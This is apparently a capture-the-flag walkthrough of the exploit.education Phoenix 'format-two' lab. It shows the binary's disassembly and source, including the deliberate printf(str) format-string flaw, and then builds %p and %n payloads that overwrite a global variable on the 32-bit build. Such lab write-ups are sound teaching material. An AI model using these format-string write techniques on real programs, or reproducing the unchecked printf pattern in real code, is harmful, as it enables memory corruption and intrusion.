phoenix - format 2
Lets list the files using ls -la
command,
user@phoenix-amd64:~$ ls -la
total 28
drwxr-xr-x 2 user user 4096 Jun 11 07:40 .
drwxr-xr-x 3 root root 4096 Jan 13 2019 ..
-rw-r--r-- 1 user user 220 Jan 13 2019 .bash_logout
-rw-r--r-- 1 user user 3526 Jan 13 2019 .bashrc
-rw-r--r-- 1 user user 675 Jan 13 2019 .profile
-rwxr-xr-x 1 user user 6224 Jun 11 07:40 format-two
Lets analyze the file type of our binary using file
command,
user@phoenix-amd64:~$ file format-two
format-two: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1, not stripped
So our binary is a not stripped
binary
Lets try running our binary,
user@phoenix-amd64:~$ ./format-two
Welcome to phoenix/format-two, brought to you by https://exploit.education
Better luck next time!
user@phoenix-amd64:~$ ./format-two monish
Welcome to phoenix/format-two, brought to you by https://exploit.education
monishBetter luck next time!
It seems like it is expecting some different input
Listing the functions inside the binary using GDB,
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000400480 _init
0x00000000004004a0 printf@plt
0x00000000004004b0 puts@plt
0x00000000004004c0 strncpy@plt
0x00000000004004d0 memset@plt
0x00000000004004e0 exit@plt
0x00000000004004f0 __libc_start_main@plt
0x0000000000400500 _start
0x0000000000400516 _start_c
0x0000000000400540 deregister_tm_clones
0x0000000000400570 register_tm_clones
0x00000000004005b0 __do_global_dtors_aux
0x0000000000400640 frame_dummy
0x000000000040066d bounce
0x000000000040068d main
0x0000000000400730 __do_global_ctors_aux
0x0000000000400772 _fini
There are two relevant functions, main()
and bounce()
Disassembling main()
,
(gdb) disas main
Dump of assembler code for function main:
0x000000000040068d <+0>: push rbp
0x000000000040068e <+1>: mov rbp,rsp
0x0000000000400691 <+4>: sub rsp,0x110
0x0000000000400698 <+11>: mov DWORD PTR [rbp-0x104],edi
0x000000000040069e <+17>: mov QWORD PTR [rbp-0x110],rsi
0x00000000004006a5 <+24>: mov edi,0x400780
0x00000000004006aa <+29>: call 0x4004b0 <puts@plt>
0x00000000004006af <+34>: cmp DWORD PTR [rbp-0x104],0x1
0x00000000004006b6 <+41>: jle 0x400705 <main+120>
0x00000000004006b8 <+43>: lea rax,[rbp-0x100]
0x00000000004006bf <+50>: mov edx,0x100
0x00000000004006c4 <+55>: mov esi,0x0
0x00000000004006c9 <+60>: mov rdi,rax
0x00000000004006cc <+63>: call 0x4004d0 <memset@plt>
0x00000000004006d1 <+68>: mov rax,QWORD PTR [rbp-0x110]
0x00000000004006d8 <+75>: add rax,0x8
0x00000000004006dc <+79>: mov rcx,QWORD PTR [rax]
0x00000000004006df <+82>: lea rax,[rbp-0x100]
0x00000000004006e6 <+89>: mov edx,0x100
0x00000000004006eb <+94>: mov rsi,rcx
0x00000000004006ee <+97>: mov rdi,rax
0x00000000004006f1 <+100>: call 0x4004c0 <strncpy@plt>
0x00000000004006f6 <+105>: lea rax,[rbp-0x100]
0x00000000004006fd <+112>: mov rdi,rax
0x0000000000400700 <+115>: call 0x40066d <bounce>
0x0000000000400705 <+120>: mov eax,DWORD PTR [rip+0x2003e5] # 0x600af0 <changeme>
0x000000000040070b <+126>: test eax,eax
0x000000000040070d <+128>: je 0x40071b <main+142>
0x000000000040070f <+130>: mov edi,0x4007d0
0x0000000000400714 <+135>: call 0x4004b0 <puts@plt>
0x0000000000400719 <+140>: jmp 0x400725 <main+152>
0x000000000040071b <+142>: mov edi,0x40080f
0x0000000000400720 <+147>: call 0x4004b0 <puts@plt>
0x0000000000400725 <+152>: mov edi,0x0
0x000000000040072a <+157>: call 0x4004e0 <exit@plt>
End of assembler dump.
Disassembling bounce()
,
(gdb) disas bounce
Dump of assembler code for function bounce:
0x000000000040066d <+0>: push rbp
0x000000000040066e <+1>: mov rbp,rsp
0x0000000000400671 <+4>: sub rsp,0x10
0x0000000000400675 <+8>: mov QWORD PTR [rbp-0x8],rdi
0x0000000000400679 <+12>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040067d <+16>: mov rdi,rax
0x0000000000400680 <+19>: mov eax,0x0
0x0000000000400685 <+24>: call 0x4004a0 <printf@plt>
0x000000000040068a <+29>: nop
0x000000000040068b <+30>: leave
0x000000000040068c <+31>: ret
End of assembler dump.
Lets view the source code for proper understanding,
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
if (changeme != 0) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
puts("Better luck next time!\n");
}
exit(0);
}
COMMON BADCHARS
- \x00 (Null)
- \x09 (Tab)
- \x0a (New line)
- \x0d (Return)
- \x20 (Space)
So there is no way we could overwrite changeme
with a buffer
But in order to pass the program, we have to change the changeme
variable
Lets try passing some format strings in it,
user@phoenix-amd64:~$ ./format-two %p%p%p%p%p%p%p%p
Welcome to phoenix/format-two, brought to you by https://exploit.education
00xf000x7fffffffe5a00x7fffffffe54f0x7fffffffe5900x7fffffffe5900x7fffffffe690Better luck next time!
So it is popping the values from stack
Lets find the offset where our input comes into stack
user@phoenix-amd64:~$ ./format-two AAAABBBB%p%p%p%p%p%p%p%p%p%p%p%p%p
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAABBBB00xe00x7fffffffe5a20x7fffffffe53f0x7fffffffe5800x7fffffffe5800x7fffffffe6800x4007050x7fffffffe6d80x2004003680x42424242414141410x7025702570257025Better luck next time!
So our input comes in the 12th offset 0x4242424241414141
We can also pass this like,
user@phoenix-amd64:~$ ./format-two "AAAABBBB %p %p %p %p %p %p %p %p %p %p %p %p %p"
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAABBBB 0 0x1 0 0x7fffffffe59f 0x7fffffffe52f 0x7fffffffe570 0x7fffffffe570 0x7fffffffe670 0x400705 0x7fffffffe6c8 0x200400368 0x4242424241414141 0x2520702520702520Better luck next time!
We cannot point the offset directly in our input, it fails like this
user@phoenix-amd64:~$ ./format-two "AAAA %12$p"
Welcome to phoenix/format-two, brought to you by https://exploit.education
Better luck next time!
We have to use our whole buffer space for this
For address of changeme
,
0x0000000000400705 <+120>: mov eax,DWORD PTR [rip+0x2003e5] # 0x600af0 <changeme>
or try listing variables in GDB using info variables
or try using nm
to read symbols,
user@phoenix-amd64:~$ nm format-two | grep changeme
0000000000600af0 B changeme
Our changeme
is at 0x600af0
Lets try to point our 12th offset with this from input,
user@phoenix-amd64:~$ ./format-two $(python -c 'print "\xf0\x0a\x60" + "%p"*11 + "%p"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
�etter luck next time!
user@phoenix-amd64:~$ ./format-two $(python -c 'print "\xf0\xaa\x60" + "%p"*11 + "%p"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
�00x500x7fffffffe59b0x7fffffffe53f0x7fffffffe5800x7fffffffe5800x7fffffffe6800x4007050x7fffffffe6d80x2004003680x257025702560aaf0Better luck next time!
But the problem is you cannot pass null bytes and bad chars into input as address (Here \x0a
is a bad char)
So we could not execute it correctly,it leads to segmentation fault
or errors
So lets try it on 32 bit,
For address of changeme
in 32bit:
(gdb) info variables
All defined variables:
Non-debugging symbols:
0x080486c4 __GNU_EH_FRAME_HDR
0x08048724 __EH_FRAME_BEGIN__
0x0804876c __FRAME_END__
0x08049770 __CTOR_LIST__
0x08049774 __CTOR_END__
0x08049778 __DTOR_LIST__
0x0804977c __DTOR_END__
0x08049780 _DYNAMIC
0x08049820 _GLOBAL_OFFSET_TABLE_
0x08049844 __dso_handle
0x08049848 __TMC_END__
0x08049848 __bss_start
0x08049848 _edata
0x08049848 completed
0x0804984c dtor_idx
0x08049850 object
0x08049868 changeme
0x0804986c _end
or
user@phoenix-amd64:/opt/phoenix/i486$ nm format-two | grep changeme
08049868 B changeme
Address of changeme
is at 0x08049868
user@phoenix-amd64:/opt/phoenix/i486$ ./format-two $(python -c 'print "AAAA" + "%p"*11 + "%p"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAA0xffffd8d00x10000xf7f84b670xffffd7400xffffd7280x80485a00xffffd6200xffffd8d00x1000x3e80x41414141Better luck next time!
Lets try placing the address of changeme
in input
user@phoenix-amd64:/opt/phoenix/i486$ ./format-two $(python -c 'print "\x68\x98\x04\x08" + "%p"*11 + "%p"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
0xffffd8d00x10000xf7f84b670xffffd7400xffffd7280x80485a00xffffd6200xffffd8d00x1000x3e80x8049868Better luck next time!
So we could place the address of changeme
using format string
Now here comes the important part of the exploit,
We should use %n
to perform arbitrary write on the specific address location
%n
writes the value of number of charaters written so far into the address
Now if we use %n
instead of %p
at the 12th offset which has the address of changeme
, it tries to perform arbitrary write on changeme
and passes the condition of the program
user@phoenix-amd64:/opt/phoenix/i486$ ./format-two $(python -c 'print "\x68\x98\x04\x08" + "%p"*11 + "%n"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
0xffffd8d00x10000xf7f84b670xffffd7400xffffd7280x80485a00xffffd6200xffffd8d00x1000x3e8Well done, the 'changeme' variable has been changed correctly!
We have overwritten the value of changeme
successfully using format string arbitrary write
Done! we have completed “format-two”